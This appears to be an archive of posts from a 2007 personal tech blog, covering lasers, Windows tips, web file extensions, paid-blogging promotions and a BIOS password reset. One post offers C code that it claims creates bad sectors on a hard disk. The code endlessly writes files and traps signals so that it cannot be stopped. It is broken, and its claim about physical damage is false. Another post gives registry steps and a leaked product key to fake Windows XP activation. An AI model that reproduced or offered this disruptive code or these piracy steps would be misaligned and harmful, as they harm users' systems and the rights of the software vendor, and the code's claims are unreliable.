27 December 2007

Laser And Treatment

A laser is an electronic-optical device that produces coherent radiation. The term "laser" is an acronym for Light Amplification by Stimulated Emission of Radiation. A typical laser emits light in a narrow, low-divergence beam and with a well-defined wavelength . This is in contrast to a light source such as the incandescent light bulb, which emits into a large solid angle and over a wide spectrum of wavelength.

A laser consists of a gain medium inside an optical cavity, with a means to supply energy to the gain medium. The gain medium is a material (gas, liquid, solid or free electrons) with appropriate optical properties. In its simplest form, a cavity consists of two mirrors arranged such that light bounces back and forth, each time passing through the gain medium. Typically, one of the two mirrors, the output coupler, is partially transparent. The output laser beam is emitted through this mirror.

In aesthetic laser treatment platforms , it's applications are :

1. Hair removal 2. Skin treatments 3. Skin tightening laser 4. Telangiectasia & leg veins 5. Vascular Laser 6. Pigmented lesions 7. Wrinkle treatment

They are, in fact, aesthetic treatment platforms with the most advanced and safest technology for gentle and efficient treatment of various undesired conditions of skin, veins and vessels as well as wrinkle treatment and skin tightening.

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24 December 2007

Kaushal Sheth on Web Hosting

Internet has been the primary source of vast information and multimedia. It has invaded the world for decades and continually grows, expands and become even more advanced to produce exceptional services. If you are an internet enthusiast and has knowledge and interested in web hosting, then you should see Kaushal Sheth’s guide to web hosting.

Web hosting is a service that allows users to post Web pages to the Internet. A web host, or hosting service provider, is a business that provides the technologies and services needed for Web sites to be viewed on the Web.

Kaushal Sheth is a young blogger from Mumbai, India. He is himself a student of electronics and telecommunication and this blog is an effort to learn better about Web Designing, Content Development, Web Development Marketing ,Branding, Internet Advertising, Blogs, Search Engines and SEO.

The website gives its opinion on a variety of different best web hosting in a clear, easily understandable approach. Simply by reading their article I was clear on which host would be best suited for my own personal needs, should I ever need a web-host. Now I have never actually had any problems with Blogger hosting crashing so I don't know what it feels like to lose a website, but I imagine it must be pretty annoying.
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22 December 2007

Automatically run programs when starting Windows


If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around.

Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up.

If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use
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20 December 2007

Remove Shutdown Option From Start Menu


You might be using some shortcut / shortcut keys for performing Shutdown and you don't the Shutdown option in Start Menu . If the case is so , just follow the following steps.

* Goto Run and type gpedit.msc
* Navigate to User Configuration->Administrative Templates->Start Menu &Taskbar
* Find the option 'Remove Shutdown on Start Menu' and set is as 'Enable'.

Its Done !
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19 December 2007

Meaning of different website extensions : .htm , .html , .shtml , .asp , .pl , .cgi , .jsp. , php


Do you know why some Web pages end in htm, others end in html, others end in asp and so on? Why all the different extensions?

You can see some of the most common extensions on these URLs:
  • .htm.
  • .html

When the Web started, it ran almost exclusively on UNIX machines and all pages were Html which was the standard file extension. When people started using PCs running DOS or Windows as Web servers, however, the four letters in "html" were problematic. PCs followed an 8.3 naming convention that allowed only three letters in the extension. So the world made room for two standard extensions: html and htm

Htm and Html pages are static. The file is lifted off the server's disk and sent verbatim to the client.
  • .shtml :
Pages tagged with shtml reveal that "Server Side Includes" are being used on the server.. With SSI, a page can contain tags indicating that another file should be inserted in place of the tag in the existing page. So a page is lifted off the server's disk and the server makes all the substitutions indicated. Then it sends the final page to the client. This approach makes it very easy to change things like headers and footers on pages across an entire site.
  • .asp :
Active Server Pages (asp) is a Microsoft technology that allows even more flexibility. A Web page can contain Visual Basic code that the server executes when it lifts a page off the disk. This code can do just about anything -- read databases, run other programs, custom format pages based on the user's ID, etc. You have a great deal of flexibility. On the other hand, your Web pages now contain code that may have bugs in it, so it is possible for a page to "crash." With freedom comes responsibility...
  • .pl :
The pl extension stands for PERL, a scripting language. The page contains nothing but PERL script, and the script builds the page on the fly. The script can also do anything as in asp pages.
  • .cgi:
The Common Gateway Interface (CGI) is a standard protocol for interfacing external application software with an information server.Each time a request is received, the server analyzes what the request asks for, and returns the appropriate output.
  • .jsp
Jsp is one of the latest additions to the Java Enterprise suite of APIs. "Jsp" stands for "Java Server Pages" and is effectively Java's response to ASP. The code embedded in a page is Java rather than Visual Basic.
  • .php
"Php" used to stand for "Personal Home Page," but now it's really just "PHP," which is a scripting language that's mostly used with Linux.
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17 December 2007

Create BAD sectors on HDD

This C program will create BAD Sectors on Hard Disk . Bad Sectors are sectors of Hard Disk where data can't be written nor can be retrieved . Bad Sectors may be permanent / temporary . Copy the code and run it using a C / C++ Complier .

Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should not misuse the code to destroy useful data or do other such illegal acts .

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
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12 December 2007

Take Screen Shots in Vista : Snipping Tool


Until now, third party tools were needed for taking accurate screen shots but Vista comes with a build-in accessory called Snipping Tool. The tool lets you select a certain area on your screen and copies the image intro you system clipboard. You can either save the picture directly from the Snipping Tool making no modifications to it, or you can export it a photo editing software like Photoshop.


Using Vista's Snipping Tool

To launch the Snipping tool follow the instructions bellow:

* Open the Start Menu
* Type "snip" in the search box
* Select the Snipping Tool when this appears

When you start the tool for the first time, it will assume that you would want to capture a portion of the screen right away. You can cancel this auction by clicking the Cancel button.

Whenever you are ready to take a screen shot, click on the arrow besides New:
Snipping Tool options

You now have 4 choices:

To actually take a screen shot, select one of the options above and drag the pen around the area you want to take a screen shot of. The image is now hidden in the Windows clipboard and you can import it in your favorite image editing software. Open the program, go to Edit and select Paste.

If you are taking a lot of screen shot on a regularly basis we recommend ,a more elegant and efficient tool.

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10 December 2007

Validate your pirated Windows XP / Make Windows Genuine

This will allow you to Disable and Remove Windows Genuine Advantage Notifications Nag Screen .



1) Start > run > "regedit" (without the quotes of course)

2) Go to the key:

  • HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer


and double click on it. Then change some of the value data to ANYTHING. Delete some, add some letters. Close regedit.

3) Go to start > run > "%systemroot%\system32\oobe\msoobe.exe /a" (again, dont type the quotes)

4) The activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.

5) Restart your computer and enjoy the validated XP !!!

Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should contacts Microsoft if their licensed or OEM software cannot be validated or purchase genuine software.

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Create a password reset disk for WinXP


Here's an important tip… If you are using a password protected user account in Windows XP (and you really, really should be ) you might be nervous about forgetting your password. Well here's a way to put your mind at ease, at least a little bit. Windows XP allows users to create a password reset disk specific to their user account. This disk can be used at the welcome screen to reset your password in the event that you do forget it.

To create the disk: Go to start\control panel\user accounts. Select the account you are currently logged in as.Under the 'related tasks' heading in the top left corner, click 'prevent a forgotten password' to open the forgotten password wizard. Insert a blank floppy disk and follow the instructions to create your password reset disk.

To use the password reset disk in case of emergency:
Once you have created a password reset disk for a specific user, the next time the password for that user is entered incorrectly at the welcome screen, a message will pop up asking if you have forgotten your password. At this point you can elect to use your password reset disk. Follow the instructions to reset your password. Note: There are a couple of possible problems with the above procedure. For one, if you have used Windows XP's built in encryption feature to encrypt some of your files and folders, but have not yet updated to service pack 1, do not reset your password, as you will lose access to all the encrypted data. Once you have got service pack 1, it is safe to use the disk. Also, you cannot gain access to the reset feature if you have disabled the welcome screen on XP .

Keep your reset disk in a safe location, because anyone else can also use it to reset your password....

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08 December 2007

Computer Training & Literacy

The need for computer training and education and access is not a luxury anymore: it’s a necessity. They have become a part of our life because nearly everything that the society interacts with has somehow been impacted by technology. The usage of internet has exploded and has proved to be a boon in business world. The economy has gone global and computers and networks have nurtured this growth. Tools offered by computers such as emails and instant messaging have become a standard norm in business as well as personal communications. Hence computer training and literacy is becoming vital in order to cope up and operate and make best use of all upcoming and existing technologies. You can go for excel training or pmp training at basic level as they are quite famous among institutes these days.
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PayPerPost.com : A Gem For Bloggers


Ever thought that blogging about the things you like can help you earn revenue ? Yes , it is possible with PayPerPost.com . I recently registered on the site and found the idea to be great . You give space to products on your blog and for your review you are paid . Cool , isn't it ???


PayPerPost (PPP) is a website which helps content creators such as bloggers, videographers, podcasters and photographers find advertisers willing to sponsor specific content. The advertisers create opportunities and the bloggers then choose opportunities in their area of interest.

If you think you will not find any opportunity from advertiser related to your blog , think again . PayPerPost.com offers thousands of opportunities covering every possible topic that a person can blog on .

Moreover , two cool features of PayPerPost.com is PPP Direct and PPP Referrals .

PPP Direct is a way for bloggers to earn directly from advertisers . By installing the PPP Direct Code and placing the PPP Direct Badge on their site, a blogger is able to directly contact the advertiser .

PPP Referrals allows you to earn by referring PPP to someone . For details check : https://payperpost.com/affiliate

Signup: This is pretty straightforward, simply fill in the form, including your paypal address (they only pay by paypal at this stage), and your blog URL. Payperpost will manually assess your blog to decide whether it fits in with their requirements, this will take a couple of days. One thing that it’s important to note here is the requirements your blog must fulfill to be accepted:

  • Your blog must also be at least 90 days old, verifiable by a third party index of the site.
  • If over 90 days old, your blog must have at least 20 entries in the past 90 days. If just around 90 days old, your blog must have 20 pre-existing entries.
  • No blogs with gaps over 30 days (no entries posted for 30+ days) will be accepted.

I loved the concept and hope you will love it too . So sign up now at : make money



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07 December 2007

BIOS Passwords Hacks / Reset BIOS Password


Forgot your BIOS Password ... Don't worry try the following hack ...

To perform this hack you will need:

* A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
* Needle-nosed pliers if you are working with jumpers
* A small flashlight or headlamp

With tools at hand, perform the following steps:

1. Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
2. Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
3. Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
4. Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
5. Wait 20-30 seconds for the memory to clear out from lack of power.
6. After 20-30 seconds put the switch or jumper the way it was before for normal use.
7. Reconnect the power cord and start up the system to see if the settings have changed to defaults.
8. Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
9. Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.

If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory
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01 December 2007

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